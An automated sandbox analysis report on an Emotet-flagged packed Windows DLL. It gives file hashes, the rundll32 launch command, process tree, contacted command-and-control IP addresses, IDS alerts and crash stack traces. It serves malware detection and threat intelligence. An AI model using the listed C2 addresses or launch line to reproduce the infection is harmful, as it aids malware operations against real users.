Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	Aug. 18, 2021, 6:32 p.m.	Aug. 18, 2021, 6:55 p.m.

Size	700.0KB
Type	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
MD5	`296686ae5812e910d79d472f6db4f00d`
SHA256	`56c0dbbb56ab9b63c997eb80beb6392b50d507e4dc08ce617d32b8563fbd54ce`
CRC32	`CFAB17D5`
ssdeep	`12288:C+Ffmf1EHyvwS0quEuY4qNA2ub3qanS0bW2LuCbtOQniX6Fz:9SvwlquEB79ubaaSCvftfniX0z`
Yara	PE_Header_Zero - PE File Signature OS_Processor_Check_Zero - OS Processor Check IsDLL - (no description) UPX_Zero - UPX packed file Malicious_Library_Zero - Malicious_Library Win32_Trojan_Emotet_1_Zero - Win32 Trojan Emotet IsPE32 - (no description) Win32_Trojan_Gen_1_0904B0_Zero - Win32 Trojan Emotet

rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\bsnaw83e8cf2a243447619488f24e84d65eb5.dll,miktop
2620
- wermgr.exe C:\Windows\system32\wermgr.exe
  1312
  - svchost.exe C:\Windows\system32\svchost.exe
    2988
  - svchost.exe C:\Windows\system32\svchost.exe
    928
  - svchost.exe C:\Windows\system32\svchost.exe
    1600
rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\bsnaw83e8cf2a243447619488f24e84d65eb5.dll,
2752

Name	Response	Post-Analysis Lookup
150.134.208.175.b.barracudacentral.org	A 127.0.0.2	127.0.0.2
150.134.208.175.zen.spamhaus.org
api.ipify.org	A 54.235.188.103 CNAME nagano-19599.herokussl.com A 50.19.92.227 A 50.16.246.238 A 50.16.235.219 A 54.235.91.189 A 50.16.238.218 A 54.235.88.121 CNAME elb097307-934924932.us-east-1.elb.amazonaws.com A 50.16.204.235	50.16.238.218
150.134.208.175.cbl.abuseat.org

IP Address	Status	Action
105.27.205.34	Active	Moloch
164.124.101.2	Active	Moloch
179.189.229.254	Active	Moloch
221.147.172.5	Active	Moloch
24.162.214.166	Active	Moloch
46.99.175.217	Active	Moloch
5.152.175.57	Active	Moloch
50.16.238.218	Active	Moloch
60.51.47.65	Active	Moloch
65.152.201.203	Active	Moloch
79.106.115.107	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.102:49175 -> 24.162.214.166:443	2404315	ET CNC Feodo Tracker Reported CnC Server group 16	A Network Trojan was detected
TCP 192.168.56.102:49166 -> 179.189.229.254:443	2028401	ET JA3 Hash - Possible Malware - Various Trickbot/Kovter/Dridex	Unknown Traffic
TCP 179.189.229.254:443 -> 192.168.56.102:49166	2011540	ET POLICY OpenSSL Demo CA - Internet Widgits Pty (O)	Not Suspicious Traffic
TCP 192.168.56.102:49175 -> 24.162.214.166:443	2028401	ET JA3 Hash - Possible Malware - Various Trickbot/Kovter/Dridex	Unknown Traffic
TCP 192.168.56.102:49180 -> 105.27.205.34:443	2028401	ET JA3 Hash - Possible Malware - Various Trickbot/Kovter/Dridex	Unknown Traffic
TCP 24.162.214.166:443 -> 192.168.56.102:49175	2011540	ET POLICY OpenSSL Demo CA - Internet Widgits Pty (O)	Not Suspicious Traffic
TCP 105.27.205.34:443 -> 192.168.56.102:49180	2011540	ET POLICY OpenSSL Demo CA - Internet Widgits Pty (O)	Not Suspicious Traffic
TCP 192.168.56.102:49183 -> 60.51.47.65:443	2028401	ET JA3 Hash - Possible Malware - Various Trickbot/Kovter/Dridex	Unknown Traffic
TCP 60.51.47.65:443 -> 192.168.56.102:49183	2011540	ET POLICY OpenSSL Demo CA - Internet Widgits Pty (O)	Not Suspicious Traffic
TCP 192.168.56.102:49170 -> 5.152.175.57:443	2028401	ET JA3 Hash - Possible Malware - Various Trickbot/Kovter/Dridex	Unknown Traffic
TCP 5.152.175.57:443 -> 192.168.56.102:49170	2011540	ET POLICY OpenSSL Demo CA - Internet Widgits Pty (O)	Not Suspicious Traffic
TCP 192.168.56.102:49176 -> 221.147.172.5:443	2028401	ET JA3 Hash - Possible Malware - Various Trickbot/Kovter/Dridex	Unknown Traffic
TCP 221.147.172.5:443 -> 192.168.56.102:49176	2011540	ET POLICY OpenSSL Demo CA - Internet Widgits Pty (O)	Not Suspicious Traffic
TCP 192.168.56.102:49167 -> 50.16.238.218:80	2029622	ET POLICY External IP Lookup (ipify .org)	Potential Corporate Privacy Violation
TCP 192.168.56.102:49167 -> 50.16.238.218:80	2013028	ET POLICY curl User-Agent Outbound	Attempted Information Leak
TCP 192.168.56.102:49179 -> 46.99.175.217:443	2028401	ET JA3 Hash - Possible Malware - Various Trickbot/Kovter/Dridex	Unknown Traffic
TCP 46.99.175.217:443 -> 192.168.56.102:49179	2011540	ET POLICY OpenSSL Demo CA - Internet Widgits Pty (O)	Not Suspicious Traffic

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.102:49166 179.189.229.254:443	C=AU, ST=Some-State, O=Internet Widgits Pty Ltd	C=AU, ST=Some-State, O=Internet Widgits Pty Ltd	b5:21:a8:16:d5:97:b1:67:f6:60:a5:cb:20:27:76:ec:3c:9d:3b:02
TLSv1 192.168.56.102:49175 24.162.214.166:443	C=AU, ST=Some-State, O=Internet Widgits Pty Ltd	C=AU, ST=Some-State, O=Internet Widgits Pty Ltd	b5:21:a8:16:d5:97:b1:67:f6:60:a5:cb:20:27:76:ec:3c:9d:3b:02
TLSv1 192.168.56.102:49180 105.27.205.34:443	C=US, ST=IL, L=Chicago, O=Internet Widgits Pty Ltd	C=US, ST=IL, L=Chicago, O=Internet Widgits Pty Ltd	30:21:9a:cd:06:f2:ba:20:f6:0b:3c:54:ec:08:35:d0:9d:4b:e8:50
TLSv1 192.168.56.102:49183 60.51.47.65:443	C=AU, ST=Some-State, O=Internet Widgits Pty Ltd	C=AU, ST=Some-State, O=Internet Widgits Pty Ltd	50:fd:fd:4e:2c:57:ea:f7:c9:cd:3f:61:4a:a2:40:01:1b:b8:df:02
TLSv1 192.168.56.102:49170 5.152.175.57:443	C=US, ST=IL, L=Chicago, O=Internet Widgits Pty Ltd	C=US, ST=IL, L=Chicago, O=Internet Widgits Pty Ltd	30:21:9a:cd:06:f2:ba:20:f6:0b:3c:54:ec:08:35:d0:9d:4b:e8:50
TLSv1 192.168.56.102:49176 221.147.172.5:443	C=US, ST=IL, L=Chicago, O=Internet Widgits Pty Ltd	C=US, ST=IL, L=Chicago, O=Internet Widgits Pty Ltd	30:21:9a:cd:06:f2:ba:20:f6:0b:3c:54:ec:08:35:d0:9d:4b:e8:50
TLSv1 192.168.56.102:49179 46.99.175.217:443	C=AU, ST=Some-State, O=Internet Widgits Pty Ltd	C=AU, ST=Some-State, O=Internet Widgits Pty Ltd	b5:21:a8:16:d5:97:b1:67:f6:60:a5:cb:20:27:76:ec:3c:9d:3b:02

Queries for the computername (1 event)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW Aug. 18, 2021, 6:25 p.m.	computer_name: TEST22-PC	1	1	0

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Aug. 18, 2021, 6:32 p.m.			0	0

The executable uses a known packer (1 event)

packer

Armadillo v1.xx - v2.xx

One or more processes crashed (4 events)

Time & API	Arguments	Status
__exception__ Aug. 18, 2021, 6:25 p.m.	stacktrace: RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd hook_in_monitor+0x45 lde-0x133 @ 0x74e642ea New_ntdll_LdrGetProcedureAddress+0x43 New_ntdll_LdrLoadDll-0x156 @ 0x74e7f7f3 GetProcAddress+0x60 GetModuleHandleA-0x80 kernelbase+0x4190 @ 0x7fefde34190 SvchostPushServiceGlobals+0x471 WinHttpQueryOption-0x1a7b winhttp+0x1eb99 @ 0x7fef89aeb99 SvchostPushServiceGlobals+0x4fb WinHttpQueryOption-0x19f1 winhttp+0x1ec23 @ 0x7fef89aec23 WinHttpConnect+0x1ab WinHttpGetDefaultProxyConfiguration-0x1615 winhttp+0x13fe7 @ 0x7fef89a3fe7 exception.instruction_r: 48 8b 01 4a 89 44 c6 78 4d 85 e4 74 08 4b 89 8c exception.symbol: RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a exception.instruction: mov rax, qword ptr [rcx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 105050 exception.address: 0x77919a5a registers.r14: 169734778 registers.r15: 31956968 registers.rcx: 0 registers.rsi: 851719024 registers.r10: 0 registers.rbx: 0 registers.rsp: 1893312 registers.r11: 0 registers.r8: 5 registers.r9: 1961940992 registers.rdx: 2 registers.r12: 4246512 registers.rbp: 0 registers.rdi: 0 registers.rax: 1 registers.r13: 443	1
__exception__ Aug. 18, 2021, 6:26 p.m.	stacktrace: RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd hook_in_monitor+0x45 lde-0x133 @ 0x74e642ea New_ntdll_NtAllocateVirtualMemory+0x34 New_ntdll_NtClose-0x162 @ 0x74e7fc86 VirtualAllocExNuma+0x66 VirtualAllocEx-0x2a kernelbase+0x33096 @ 0x7fefde63096 VirtualAllocEx+0x16 WriteProcessMemory-0x1a kernelbase+0x330d6 @ 0x7fefde630d6 VirtualAllocEx+0x11 VerLanguageNameW-0xf kernel32+0x4bbe1 @ 0x7724bbe1 0x9de64 exception.instruction_r: 48 8b 01 4a 89 44 c6 78 4d 85 e4 74 08 4b 89 8c exception.symbol: RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a exception.instruction: mov rax, qword ptr [rcx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 105050 exception.address: 0x77919a5a registers.r14: 851879008 registers.r15: 1889696 registers.rcx: 26 registers.rsi: 1889280 registers.r10: 0 registers.rbx: 3 registers.rsp: 1888888 registers.r11: -126 registers.r8: 3 registers.r9: 1961945856 registers.rdx: 3 registers.r12: 851717104 registers.rbp: 2 registers.rdi: 40 registers.rax: 4 registers.r13: 0	1
__exception__ Aug. 18, 2021, 6:27 p.m.	stacktrace: RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd hook_in_monitor+0x45 lde-0x133 @ 0x74e642ea New_ntdll_NtAllocateVirtualMemory+0x34 New_ntdll_NtClose-0x162 @ 0x74e7fc86 VirtualAllocExNuma+0x66 VirtualAllocEx-0x2a kernelbase+0x33096 @ 0x7fefde63096 VirtualAllocEx+0x16 WriteProcessMemory-0x1a kernelbase+0x330d6 @ 0x7fefde630d6 VirtualAllocEx+0x11 VerLanguageNameW-0xf kernel32+0x4bbe1 @ 0x7724bbe1 0x9de64 exception.instruction_r: 48 8b 01 4a 89 44 c6 78 4d 85 e4 74 08 4b 89 8c exception.symbol: RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a exception.instruction: mov rax, qword ptr [rcx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 105050 exception.address: 0x77919a5a registers.r14: 851708464 registers.r15: 1889696 registers.rcx: 26 registers.rsi: 1889280 registers.r10: 0 registers.rbx: 3 registers.rsp: 1888888 registers.r11: -126 registers.r8: 3 registers.r9: 1961945856 registers.rdx: 3 registers.r12: 839929280 registers.rbp: 2 registers.rdi: 40 registers.rax: 4 registers.r13: 0	1
